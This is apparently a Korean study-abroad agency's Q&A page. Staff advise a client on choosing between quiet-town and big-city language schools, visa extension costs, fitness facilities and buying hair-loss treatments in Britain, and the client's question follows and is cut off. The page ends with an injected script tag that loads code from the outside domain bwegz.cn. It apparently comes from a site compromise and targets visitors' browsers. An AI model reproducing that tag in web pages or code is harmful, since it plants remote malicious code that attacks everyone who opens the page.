[Q&A] 무료 상담

안녕하세요?
영국유학닷컴입니다.

지난 번에 탈모증 치료제를 영국에서도 구할 수 있는지 문의하셨던 고객이신 것 같은데, 이제 학교 선정 막바지 단계에 있으신 것 같습니다.

먼저 처음에는 조용한 지방도시에서 연수를 하고 그 후에 번화한 대도시로 가는 것과 , 그 반대로 움직이면서 연수를 하는 것은 어느 방법이 좋다라고 말씀드릴 수가 없는 사항이라 생각됩니다. 또, 이 판단에는 지역 선정과 함께 두군데 학교를 등록하는 것과 한군데 학교를 등록하는 경우의 장단점이 복합적으로 영향을 미치게 되므로, 어떤 쪽이 취향이나 생활습관 등 고객님의 스타일에 맞는지를 판단하셔서 결정해야 할 것으로 생각됩니다.

아시는 대로 두학교를 등록할 경우, 장기 신청자에게 주어지는 학비의 할인 혜택이 줄어들게 되고, 새로운 학교로 이동하여 적응하는 데 상당한 노력과 시간, 경비가 소요되며, 두번째 학교에서 학업하는 부분에 대해서는 한국에서 비자를 받아서 입국하지 못하는 경우가 있을 수 있습니다. 이런 경우에는 영국에서 비자를 연장하셔야 하는 불편함을 감수하셔야 하구요. 반면에 한 곳에서 오래 머무르지 않으므로 자칫 지루해지기 쉬운 연수 생활을 피할 수 있는 장점은 있습니다. 한편으로, 첫번째 학교가 너무 마음에 들고 학업 성과도 큰 경우 본인이 원하지 않더라고 다른 학교로 옮겨야 하는 경우도 있을 수 있습니다.

한가지 참고로 말씀드리면, 2005년 4월 1일부터는 영국내에서 비자를 연장할 경우 현재 수수료의 두배 정도인 450파운드 전후의 수수료를 납부하셔야 합니다.

그리고, 요가나 헬스(Gym) 같은 운동은 영국내 어느 지역에서나(시골이라도) 가능합니다. 영국은 생활 체육이 대단히 발달된 나라로서, 국민의 건강은 병이 발생하기 이전에 지켜야 한다는 취지에서 운동을 대단히 장려하는 편이며, 체육관, 수영장 등 각종 운동 시설이 많이 설치되어 있습니다. 영국에서 생활하시게 되면 분명히 멀지 않은 곳에서 저렴한 경비로도 원하시는 운동을 하실 수 있을 것입니다.

마지막으로 탈모증 치료제와 관련하여 말씀드리면,
먼저, 지난 번 답변에서와 마찬가지로 탈모치료제인 프로페시아는 근처 약국에서 구하실 수 있습니다. 다만, 의사의 진료에 따라 처방전을 받으시면 약간 저렴하게 구입하실 수 있으나, 처방전이 없을 경우에는 좀 더 비싼 가격에 구하실 수 있을 것이라고 합니다.

또, 이곳 본머스의 헤어용품 판매점이나 약국에 문의한 바, 트리코민은 다들 모르고 Regain이라는 액체 상태의 약이 있다고 합니다. 그런데, 이 약을 사용할 경우의 한번 사용하기 시작하면 계속 사용하여야 하며, 만약 중단하면 탈모증세가 더 심해질 수도 있다고 약사가 엄포(?)를 놓더군요. 참고하시구요.

고객께서 찾아보신대로 인터넷을 통해서는 트리코민이라는 제품을 사실 수가 있으며, 관련 사이트는 아래 링크에서 찾아보시기 바랍니다.
http://uk.search.yahoo.com/search/ukie?p=Tricomin+&ei=UTF-8&fr=fp-tab-web-t&x=wrt&y=uk

영국도 전자 상거래가 상당히 활발하게 이루어지고 있는 편이므로, 인터넷을 통해서 제품을 구하시더라도 별 문제는 없을 것으로 보입니다. 혹, 꼭 물건을 직접 보고 사셔야 하는 이유가 있으시다면, 위에서 검색된 사이트 관리자에게 문의를 하셔서 판매점을 찾으셔야 할 것으로 예상됩니다.

참고하시고, 혹 추가로 궁금하신 사항이 있으시면 언제든지 문의하여 주시기 바랍니다.
감사합니다.

영국유학닷컴 본머스사무실
이동수 드림


















수고하십니다.. 영국유학닷컴 여러분..

오랜 고심끝에 이젠 수속밟는 길만 남았습니다...
준비기간이 길었고.. 이젠 영.유닷컴에서 수속만 남은거죠^^
물론 학교 고민이 제일 크죠~^_^

아~ 참!!
제가 묻고자 하는 것은..

영.유닷컴 여러분들은 totnes 스쿨에 대한 정보를 많이 올려놓으셨던데요..
이 학교 정말 저렴하고 괜찮은 것 같습니다. 물론.. 저렴한 점이겠죠^^ㅋㅋ..

그래서 갈등되는 것이

1. 처음에 토트니스. 마게이트. 엑시터 같이 저렴한 학교를 6개월 정도 신청하고 가고..
뒤 이어 런던이나 옥스포드 같은 곳으로 가는 것이 나은가....
** 조용한 곳 -> 번화한 곳..(처음부터 비용을 무리하지 않고.. 외국의 물정을 살피는 거죠^^)
이 점은 절약이라는 점은 있지만 음.. 단점이 아무래도 있을 것 같군요..)

2. 처음에 번화한 곳으로 가고.. 이 곳이 낫겠다 싶으면 연장을 하거나..
좀 아니다 싶으면 토트니스나 마게이트같은 조용한 곳으로 옮기는 것이 어떤가..
(비용이 세다는 점 때문에 망설여지는 것이지.. 그만치 얻어지는 거 많다면..
시골보다 이왕이면 여기로 가고 싶죠^^ 근데 비용에 무리하면서까지 간 만큼의
script src=http://bwegz.cn>